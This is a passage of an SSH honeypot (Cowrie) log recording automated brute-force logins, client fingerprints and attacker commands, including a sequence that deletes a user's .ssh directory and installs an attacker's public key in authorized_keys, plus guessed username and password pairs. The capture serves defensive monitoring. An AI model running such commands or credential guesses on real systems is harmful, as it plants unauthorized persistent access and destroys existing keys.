{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:13.864262Z","src_ip":"150.109.20.59","session":"42d6fd913a57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:13.868334Z","src_ip":"150.109.20.59","session":"42d6fd913a57","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:13.872826Z","src_ip":"150.109.20.59","session":"42d6fd913a57","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:14.364426Z","src_ip":"150.109.20.59","session":"42d6fd913a57","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:14.673855Z","src_ip":"150.109.20.59","session":"42d6fd913a57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:14.677587Z","src_ip":"150.109.20.59","session":"42d6fd913a57","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:14.931595Z","src_ip":"150.109.20.59","session":"42d6fd913a57","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:14.935922Z","src_ip":"150.109.20.59","session":"42d6fd913a57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":55594,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f555d852bb5","protocol":"ssh","message":"New connection: 150.109.20.59:55594 (10.17.0.5:22) [session: 2f555d852bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:15.165958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:15.171133Z","src_ip":"150.109.20.59","session":"2f555d852bb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:15.409287Z","src_ip":"150.109.20.59","session":"2f555d852bb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:16.391189Z","src_ip":"150.109.20.59","session":"2f555d852bb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:17.631799Z","src_ip":"150.109.20.59","session":"2f555d852bb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":55604,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1212e6ec114","protocol":"ssh","message":"New connection: 150.109.20.59:55604 (10.17.0.5:22) [session: d1212e6ec114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:17.873183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:17.878297Z","src_ip":"150.109.20.59","session":"d1212e6ec114","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:18.127586Z","src_ip":"150.109.20.59","session":"d1212e6ec114","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:19.140330Z","src_ip":"150.109.20.59","session":"d1212e6ec114","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:19.388922Z","src_ip":"150.109.20.59","session":"42d6fd913a57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:19.394071Z","src_ip":"150.109.20.59","session":"d1212e6ec114","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.90.78","src_port":40862,"dst_ip":"159.203.135.109","dst_port":22,"session":"95e59fe4115c","protocol":"ssh","message":"New connection: 43.173.90.78:40862 (159.203.135.109:22) [session: 95e59fe4115c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:21.604680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:21.609979Z","src_ip":"43.173.90.78","session":"95e59fe4115c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:21.677842Z","src_ip":"43.173.90.78","session":"95e59fe4115c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"db2fenc1","password":"db2fenc1","message":"login attempt [db2fenc1/db2fenc1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:21.982578Z","src_ip":"43.173.90.78","session":"95e59fe4115c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:23.054586Z","src_ip":"43.173.90.78","session":"95e59fe4115c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":40488,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f05fae83e4a","protocol":"ssh","message":"New connection: 15.204.225.76:40488 (10.17.0.5:22) [session: 7f05fae83e4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:36.582664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:36.587925Z","src_ip":"15.204.225.76","session":"7f05fae83e4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:36.603464Z","src_ip":"15.204.225.76","session":"7f05fae83e4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deposito","password":"deposito","message":"login attempt [deposito/deposito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:36.678133Z","src_ip":"15.204.225.76","session":"7f05fae83e4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:37.691931Z","src_ip":"15.204.225.76","session":"7f05fae83e4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":56368,"dst_ip":"10.17.0.5","dst_port":22,"session":"23fb943ee8c5","protocol":"ssh","message":"New connection: 115.91.48.142:56368 (10.17.0.5:22) [session: 23fb943ee8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:42.612649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:42.617644Z","src_ip":"115.91.48.142","session":"23fb943ee8c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:42.828755Z","src_ip":"115.91.48.142","session":"23fb943ee8c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"1","message":"login attempt [zimbra/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:43.702965Z","src_ip":"115.91.48.142","session":"23fb943ee8c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:44.919008Z","src_ip":"115.91.48.142","session":"23fb943ee8c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":54928,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ee02c4bebff","protocol":"ssh","message":"New connection: 194.113.233.25:54928 (159.203.135.109:22) [session: 6ee02c4bebff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:47.887932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:47.897915Z","src_ip":"194.113.233.25","session":"6ee02c4bebff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:47.987868Z","src_ip":"194.113.233.25","session":"6ee02c4bebff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loveless","message":"login attempt [root/loveless] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:48.257702Z","src_ip":"194.113.233.25","session":"6ee02c4bebff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:49.350292Z","src_ip":"194.113.233.25","session":"6ee02c4bebff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.145.217","src_port":58104,"dst_ip":"159.203.135.109","dst_port":22,"session":"893ffa416453","protocol":"ssh","message":"New connection: 146.190.145.217:58104 (159.203.135.109:22) [session: 893ffa416453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:57.640729Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:31:57.721049Z","src_ip":"146.190.145.217","session":"893ffa416453","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":58762,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e1d5445fc5b","protocol":"ssh","message":"New connection: 51.250.105.222:58762 (10.17.0.5:22) [session: 7e1d5445fc5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:10.104385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:32:10.109537Z","src_ip":"51.250.105.222","session":"7e1d5445fc5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","h